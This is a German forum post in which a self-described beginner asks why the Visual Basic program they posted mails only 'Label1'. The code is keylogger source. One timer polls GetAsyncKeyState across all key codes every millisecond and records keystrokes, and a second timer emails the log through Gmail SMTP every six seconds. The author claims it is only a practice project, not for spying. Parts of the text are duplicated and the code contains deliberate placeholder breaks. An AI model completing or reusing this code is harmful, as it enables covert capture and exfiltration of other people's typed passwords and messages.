Hallo ich habe ein problem, wenn ich auf tasten drücke kommt in einem Fenster Buchstaben [Alt][Shift] und so .....
danach schickt es mir eine mail, aber in der mail steht immer Label1??
Code in VisualBasic
(5x A, bedeutet nicht benutzt)
Habe 2 Timer, Beide auf Enabled: True, und GenerateMem....: True
1 Timer auf Interval: 1, 2 tImer auf Interval: 6000
Beide Modifers: Private
ICH MÖCHTE DAMIT KEINE ACCOUNTS AUS SPÄHEN, ES IST GEDACHT UM EINE ARBEIT ZU MACHEN DIE ICH AUCH MAL SCHAFFE IN VISUAL BASIC (Bin neu anfänger :) )
Sry für mein Deutsch ^^
danach schickt es mir eine mail, aber in der mail steht immer Label1??
Code in VisualBasic
(5x A, bedeutet nicht benutzt)
Code:
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Dim Typein As String
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For Logger = 1 To 255
Typein = GetAsyncKeyState(Logger)
If Typein = -32767 Then
Select Case Logger
Case 1
rtb1.Text += "[LinksKlick]"
Case 2
rtb1.Text += "[RechtsKlick]"
Case 3
rtb1.Text += "[ACHTUNG!!!]"
Case 4
rtb1.Text += "[ACHTUNG!!!4]"
Case 5
rtb1.Text += "[ACHTUNG!!!5]"
Case 6
rtb1.Text += "[ACHTUNG!!6!]"
Case 7
rtb1.Text += "[ACHTUNG!!!7]"
Case 8
rtb1.Text += "[Backspace]"
Case 9
rtb1.Text += "[Tab]"
Case 10
rtb1.Text += "[ACHTUNG!!!10]"
Case 11
rtb1.Text += "[ACHTUNG!!!11]"
Case 12
rtb1.Text += "[ACHTUNG!!!12]"
Case 13
rtb1.Text += "[Enter]"
Case 112
rtb1.Text += "[F1]"
Case 113
rtb1.Text += "[F2]"
Case 114
rtb1.Text += "[F3]"
Case 115
rtb1.Text += "[F4]"
Case 116
rtb1.Text += "[F5]"
Case 117
rtb1.Text += "[F6]"
Case 118
rtb1.Text += "[F7]"
Case 119
rtb1.Text += "[F8]"
Case 120
rtb1.Text += "[F9]"
Case 121
rtb1.Text += "[F10]"
Case 122
rtb1.Text += "[F11]"
Case 123
rtb1.Text += "[F12]"
Case 160
rtb1.Text += ""
Case 161
rtb1.Text += ""
Case 164
rtb1.Text += "[Alt]"
Case 165
rtb1.Text += "[Alt]"
Case 189
rtb1.Text += "-"
Case 187
rtb1.Text += "+"
Case 46
rtb1.Text += "."
Case 14
rtb1.Text += "[ACHTUNG 14]"
Case 15
rtb1.Text += "[ACHTUNG 15]"
Case 16
rtb1.Text += "[Shift]"
Case 17
rtb1.Text += "[Strg]"
Case 18
rtb1.Text += "[Alt]"
Case 19
rtb1.Text += "[ACHTUNG 19]"
Case 20
rtb1.Text += "[Umstell.]"
Case 21
rtb1.Text += "[ACHTUNG 21]"
Case 22
rtb1.Text += "[ACHTUNG 22]"
Case 23
rtb1.Text += "[ACHTUNG 23]"
Case 24
rtb1.Text += "[ACHTUNG 24]"
Case 25
rtb1.Text += "[ACHTUNG 25]"
Case 26
rtb1.Text += "[ACHTUNG 26]"
Case 27
rtb1.Text += "[ACHTUNG 27]"
Case 28
rtb1.Text += "[ACHTUNG 28]"
Case 29
rtb1.Text += "[ACHTUNG 29]"
Case 30
rtb1.Text += "[ACHTUNG 30]"
Case 31
rtb1.Text += "[ACHTUNG 31]"
Case 32
rtb1.Text += " "
Case 33
rtb1.Text += "!"
Case 34
rtb1.Text = rtb1.Text + "´´"
Case 35
rtb1.Text += "#"
Case 36
rtb1.Text += "$"
Case 37
rtb1.Text += "%"
Case 38
rtb1.Text += "&"
Case 39
rtb1.Text += "'"
Case 40
rtb1.Text += "("
Case 41
rtb1.Text += ")"
Case 42
rtb1.Text += "*"
Case 43
rtb1.Text += "+"
Case 44
rtb1.Text += ","
Case 45
rtb1.Text += "-"
Case 46
rtb1.Text += "."
Case 47
rtb1.Text += "/"
Case 48
rtb1.Text += "0"
Case 49
rtb1.Text += "1"
Case 50
rtb1.Text += "2"
Case 51
rtb1.Text += "3"
Case 52
rtb1.Text += "4"
Case 53
rtb1.Text += "5"
Case 54
rtb1.Text += "6"
Case 55
rtb1.Text += "7"
Case 56
rtb1.Text += "8"
Case 57
rtb1.Text += "9"
Case 58
rtb1.Text += ":"
Case 59
rtb1.Text += ";"
Case 60
rtb1.Text += "<"
Case 61
rtb1.Text += "="
Case 62
rtb1.Text += ">"
Case 63
rtb1.Text += "?"
Case 64
rtb1.Text += "@"
Case 65
rtb1.Text += "a"
Case 66
rtb1.Text += "b"
Case 67
rtb1.Text += "c"
Case 68
rtb1.Text += "d"
Case 69
rtb1.Text += "e"
Case 70
rtb1.Text += "f"
Case 71
rtb1.Text += "g"
Case 72
rtb1.Text += "h"
Case 73
rtb1.Text += "i"
Case 74
rtb1.Text += "j"
Case 75
rtb1.Text += "k"
Case 76
rtb1.Text += "l"
Case 77
rtb1.Text += "m"
Case 78
rtb1.Text += "n"
Case 79
rtb1.Text += "o"
Case 80
rtb1.Text += "p"
Case 81
rtb1.Text += "q"
Case 82
rtb1.Text += "r"
Case 83
rtb1.Text += "s"
Case 84
rtb1.Text += "t"
Case 85
rtb1.Text += "u"
Case 86
rtb1.Text += "v"
Case 87
rtb1.Text += "w"
Case 88
rtb1.Text += "x"
Case 89
rtb1.Text += "y"
Case 90
rtb1.Text += "z"
Case 91
rtb1.Text += "[Win]"
Case 92
rtb1.Text += "[Win]"
Case 93
rtb1.Text += "]"
Case 94
rtb1.Text += "^"
Case 95
rtb1.Text += "_"
Case 96
rtb1.Text += "`"
Case 97
rtb1.Text += "a"
Case 98
rtb1.Text += "b"
Case 99
rtb1.Text += "c"
Case 100
rtb1.Text += "d"
Case 101
rtb1.Text += "e"
Case 102
rtb1.Text += "f"
Case 103
rtb1.Text += "g"
Case 104
rtb1.Text += "h"
Case 105
rtb1.Text += "i"
Case 106
rtb1.Text += "j"
Case 107
rtb1.Text += "k"
Case 108
rtb1.Text += "l"
Case 109
rtb1.Text += "m"
Case 110
rtb1.Text += "n"
Case 111
rtb1.Text += "o"
Case 112
rtb1.Text += "p"
Case 113
rtb1.Text += "q"
Case 114
rtb1.Text += "r"
Case 115
rtb1.Text += "s"
Case 116
rtb1.Text += "t"
Case 117
rtb1.Text += "u"
Case 118
rtb1.Text += "v"
Case 119
rtb1.Text += "w"
Case 120
rtb1.Text += "x"
Case 121
rtb1.Text += "y"
Case 122
rtb1.Text += "z"
Case 123
rtb1.Text += "{"
Case 124
rtb1.Text += "|"
Case 125
rtb1.Text += "}"
Case 126
rtb1.Text += "~"
Case 127
rtb1.Text += "[ACHTUNG 127]"
Case 128
rtb1.Text += "€"
Case 129
rtb1.Text += "[ACHTUNG 129]"
Case 130
rtb1.Text += "‚"
Case 131
rtb1.Text += "ƒ"
Case 132
rtb1.Text += "„"
Case 133
rtb1.Text += "…"
Case 134
rtb1.Text += "†"
Case 135
rtb1.Text += "‡"
Case 136
rtb1.Text += "ˆ"
Case 137
rtb1.Text += "[ACHTUNG 137]"
Case 138
rtb1.Text += "Š"
Case 139
rtb1.Text += "‹"
Case 140
rtb1.Text += "[ACHTUNG 140]"
Case 141
rtb1.Text += "[ACHTUNG 141]"
Case 142
rtb1.Text += "Ž"
Case 143
rtb1.Text += "[ACHTUNG 143]"
Case 144
rtb1.Text += "[ACHTUNG 144]"
Case 145
rtb1.Text += "‘"
Case 146
rtb1.Text += "’"
Case 147
rtb1.Text += """"
Case 148
rtb1.Text += """"
Case 149
rtb1.Text += "•"
Case 150
rtb1.Text += "–"
Case 151
rtb1.Text += "—"
Case 152
rtb1.Text += "˜"
Case 153
rtb1.Text += "™"
Case 154
rtb1.Text += "š"
Case 155
rtb1.Text += "›"
Case 156
rtb1.Text += "[ACHTUNG 155]"
Case 157
rtb1.Text += "[ACHTUNG 157]"
Case 158
rtb1.Text += "ž"
Case 159
rtb1.Text += "Ÿ"
Case 160
rtb1.Text += "[ACHTUNG 160]"
Case 161
rtb1.Text += "¡"
Case 162
rtb1.Text += ""
Case 163
rtb1.Text += ""
Case 164
rtb1.Text += "¤"
Case 165
rtb1.Text += "¥"
Case 166
rtb1.Text += "¦"
Case 167
rtb1.Text += "§"
Case 168
rtb1.Text += "¨"
Case 169
rtb1.Text += "©"
Case 170
rtb1.Text += "ª"
Case 171
rtb1.Text += "«"
Case 172
rtb1.Text += "¬"
Case 173
rtb1.Text += "[ACHTUNG 173]"
Case 174
rtb1.Text += "®"
Case 175
rtb1.Text += "¯"
Case 176
rtb1.Text += "°"
Case 177
rtb1.Text += "±"
Case 178
rtb1.Text += "²"
Case 179
rtb1.Text += "³"
Case 180
rtb1.Text += "´"
Case 181
rtb1.Text += "µ"
Case 182
rtb1.Text += "[ACHTUNG 182]"
Case 183
rtb1.Text += "."
Case 184
rtb1.Text += "¸"
Case 185
rtb1.Text += "¹"
Case 186
rtb1.Text += "ü"
Case 187
rtb1.Text += "»"
Case 188
rtb1.Text += ","
Case 189
rtb1.Text += ":"
Case 190
rtb1.Text += "."
Case 191
rtb1.Text += "¿"
Case 192
rtb1.Text += "ö"
Case 193
rtb1.Text += "Á"
Case 194
rtb1.Text += "Â"
Case 195
rtb1.Text += "Ã"
Case 196
rtb1.Text += "Ä"
Case 197
rtb1.Text += "Æ"
Case 198
rtb1.Text += "Ç"
Case 199
rtb1.Text += "È"
Case 200
rtb1.Text += "É"
Case 201
rtb1.Text += "Ê"
Case 202
rtb1.Text += "Ë"
Case 203
rtb1.Text += "Ì"
Case 204
rtb1.Text += "Í"
Case 205
rtb1.Text += "Í"
Case 206
rtb1.Text += "Î"
Case 207
rtb1.Text += "Ï"
Case 208
rtb1.Text += "Ð"
Case 209
rtb1.Text += "Ñ"
Case 210
rtb1.Text += "Ò"
Case 211
rtb1.Text += "Ó"
Case 212
rtb1.Text += "Ô"
Case 213
rtb1.Text += "Õ"
Case 214
rtb1.Text += "Ö"
Case 215
rtb1.Text += "×"
Case 216
rtb1.Text += "Ø"
Case 217
rtb1.Text += "Ù"
Case 218
rtb1.Text += "Ú"
Case 219
rtb1.Text += "Û"
Case 220
rtb1.Text += "Ü"
Case 221
rtb1.Text += "Ý"
Case 222
rtb1.Text += "ä"
Case 223
rtb1.Text += "ß"
Case 224
rtb1.Text += "à"
Case 225
rtb1.Text += "á"
Case 226
rtb1.Text += "â"
Case 227
rtb1.Text += "<"
Case 228
rtb1.Text += "ä"
Case 229
rtb1.Text += "æ"
Case 230
rtb1.Text += "ç"
Case 231
rtb1.Text += "è"
Case 232
rtb1.Text += "é"
Case 233
rtb1.Text += "ê"
Case 234
rtb1.Text += "ë"
Case 235
rtb1.Text += "ì"
Case 236
rtb1.Text += "í"
Case 237
rtb1.Text += "í"
Case 238
rtb1.Text += "î"
Case 239
rtb1.Text += "ï"
Case 240
rtb1.Text += "ð"
Case 241
rtb1.Text += "ñ"
Case 242
rtb1.Text += "ò"
Case 243
rtb1.Text += "ó"
Case 244
rtb1.Text += "ô"
Case 245
rtb1.Text += "õ"
Case 246
rtb1.Text += "ö"
Case 247
rtb1.Text += "÷"
Case 248
rtb1.Text += "ø"
Case 249
rtb1.Text += "ù"
Case 250
rtb1.Text += "ú"
Case 251
rtb1.Text += "û"
Case 252
rtb1.Text += "ü"
Case 253
rtb1.Text += "ý"
Case 254
rtb1.Text += "þ"
Case 255
rtb1.Text += "ÿ"
End Select
End If
Next
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim WC As New System.Net.WebClient
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress("*******@gmail.com")
MyMailMessage.To.Add("********@gmail.com")
MyMailMessage.Subject = ("LogsAAAAA")
WC.Dispose()
MyMailMessage.Body = (Label1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.comAAAAA")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("*******@gmail.com", "Password")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessageAAAAA)
Catch ex As SmtpException
End Try
End Sub
End Class
Habe 2 Timer, Beide auf Enabled: True, und GenerateMem....: True
1 Timer auf Interval: 1, 2 tImer auf Interval: 6000
Beide Modifers: Private
ICH MÖCHTE DAMIT KEINE ACCOUNTS AUS SPÄHEN, ES IST GEDACHT UM EINE ARBEIT ZU MACHEN DIE ICH AUCH MAL SCHAFFE IN VISUAL BASIC (Bin neu anfänger :) )
Sry für mein Deutsch ^^